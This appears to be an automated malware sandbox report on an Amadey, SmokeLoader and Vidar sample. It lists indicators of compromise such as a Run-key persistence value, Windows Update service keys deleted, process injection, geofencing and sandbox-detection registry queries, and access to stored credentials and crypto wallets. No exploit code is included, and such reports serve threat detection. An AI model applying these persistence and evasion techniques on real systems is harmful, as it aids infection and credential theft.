amadey | 57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

XandETC.exeupdater.exe

description	pid	process	target process
PID 3156 created 2780	3156	XandETC.exe	Explorer.EXE
PID 3156 created 2780	3156	XandETC.exe	Explorer.EXE
PID 3156 created 2780	3156	XandETC.exe	Explorer.EXE
PID 3156 created 2780	3156	XandETC.exe	Explorer.EXE
PID 2068 created 2780	2068	updater.exe	Explorer.EXE

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

130 4648 rundll32.exe
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
130	4648	rundll32.exe

Checks computer location settings 2 TTPs 14 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

E6DA.exe1E38.exe5BD1.exebuild2.exeE91D.exeE6DA.exe5690.exePlayer3.exePlayer3.exebuild2.exe1E38.exebuild2.exeE91D.exenbveek.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	E6DA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	1E38.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	5BD1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	E91D.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	E6DA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	5690.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	1E38.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	E91D.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	nbveek.exe

Executes dropped EXE 37 IoCs

Processes:

E6DA.exeE91D.exeE91D.exeE6DA.exeE6DA.exeE91D.exe1E38.exeE91D.exe1E38.exeE6DA.exe1E38.exe1E38.exe4C6D.exebuild2.exebuild2.exebuild3.exe5690.exebuild3.exe5BD1.exebuild2.exebuild2.exePlayer3.exebuild2.exess31.exebuild3.exePlayer3.exeXandETC.exenbveek.exebuild2.exenbveek.exenbveek.exemstsca.exeBDC8.exeupdater.exenbveek.exedjiuecrjviuecr

pid	process
4952	E6DA.exe
3256	E91D.exe
2496	E91D.exe
3680	E6DA.exe
5036	E6DA.exe
4408	E91D.exe
2472	1E38.exe
876	E91D.exe
2160	1E38.exe
4724	E6DA.exe
2860	1E38.exe
432	1E38.exe
3108	4C6D.exe
4540	build2.exe
4748	build2.exe
4524	build3.exe
4260	5690.exe
3656	build3.exe
1396	5BD1.exe
460	build2.exe
4732	build2.exe
4760	Player3.exe
4280	build2.exe
1196	ss31.exe
4316	build3.exe
4448	Player3.exe
3156	XandETC.exe
3528	nbveek.exe
4080	build2.exe
1868	nbveek.exe
2200	nbveek.exe
624	mstsca.exe
3736	BDC8.exe
2068	updater.exe
5100	nbveek.exe
3732	djiuecr
724	jviuecr

Loads dropped DLL 11 IoCs

Processes:

build2.exebuild2.exebuild2.exerundll32.exerundll32.exerundll32.exerundll32.exe

pid	process
4732	build2.exe
4732	build2.exe
4280	build2.exe
4280	build2.exe
4080	build2.exe
4080	build2.exe
4648	rundll32.exe
4648	rundll32.exe
2348	rundll32.exe
1944	rundll32.exe
4440	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4648 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4648	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

E91D.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\efe00f3b-db9a-4497-9746-4dcd2e8205b4\\E91D.exe\" --AutoStart"	E91D.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

48 api.2ip.ua
49 api.2ip.ua
64 api.2ip.ua
65 api.2ip.ua
32 api.2ip.ua
33 api.2ip.ua
34 api.2ip.ua
47 api.2ip.ua

flow	ioc
48	api.2ip.ua
49	api.2ip.ua
64	api.2ip.ua
65	api.2ip.ua
32	api.2ip.ua
33	api.2ip.ua
34	api.2ip.ua
47	api.2ip.ua

Suspicious use of SetThreadContext 13 IoCs

Processes:

E6DA.exeE91D.exeE91D.exe1E38.exeE6DA.exe1E38.exebuild2.exebuild2.exebuild2.exerundll32.exe

description	pid	process	target process
PID 4952 set thread context of 3680	4952	E6DA.exe	E6DA.exe
PID 3256 set thread context of 2496	3256	E91D.exe	E91D.exe
PID 4408 set thread context of 876	4408	E91D.exe	E91D.exe
PID 2472 set thread context of 2160	2472	1E38.exe	1E38.exe
PID 5036 set thread context of 4724	5036	E6DA.exe	E6DA.exe
PID 2860 set thread context of 432	2860	1E38.exe	1E38.exe
PID 4540 set thread context of 4732	4540	build2.exe	build2.exe
PID 4748 set thread context of 4280	4748	build2.exe	build2.exe
PID 460 set thread context of 4080	460	build2.exe	build2.exe
PID 4648 set thread context of 3656	4648	rundll32.exe	rundll32.exe
PID 4648 set thread context of 5032	4648	rundll32.exe	rundll32.exe
PID 4648 set thread context of 5044	4648	rundll32.exe	rundll32.exe
PID 4648 set thread context of 3108	4648	rundll32.exe	rundll32.exe

Drops file in Program Files directory 1 IoCs

Processes:

XandETC.exe

description ioc process

File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

636 sc.exe
5028 sc.exe
224 sc.exe
1772 sc.exe
4764 sc.exe
3992 sc.exe
3592 sc.exe
1840 sc.exe
3796 sc.exe
2988 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

pid	process
636	sc.exe
5028	sc.exe
224	sc.exe
1772	sc.exe
4764	sc.exe
3992	sc.exe
3592	sc.exe
1840	sc.exe
3796	sc.exe
2988	sc.exe

Program crash 4 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3372	1396	WerFault.exe	5BD1.exe
1788	3736	WerFault.exe	BDC8.exe
3408	1944	WerFault.exe	rundll32.exe
3904	3732	WerFault.exe	djiuecr

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

4C6D.exejviuecr57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4C6D.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jviuecr
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jviuecr
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jviuecr
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4C6D.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4C6D.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe

Checks processor information in registry 2 TTPs 29 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

rundll32.exebuild2.exebuild2.exebuild2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

3256 schtasks.exe
1748 schtasks.exe
2808 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

4208 timeout.exe
4676 timeout.exe
2476 timeout.exe

pid	process
3256	schtasks.exe
1748	schtasks.exe
2808	schtasks.exe

pid	process
4208	timeout.exe
4676	timeout.exe
2476	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

Explorer.EXE

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE

Modifies data under HKEY_USERS 46 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Modifies registry class 57 IoCs

Processes:

Explorer.EXErundll32.exerundll32.exerundll32.exerundll32.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
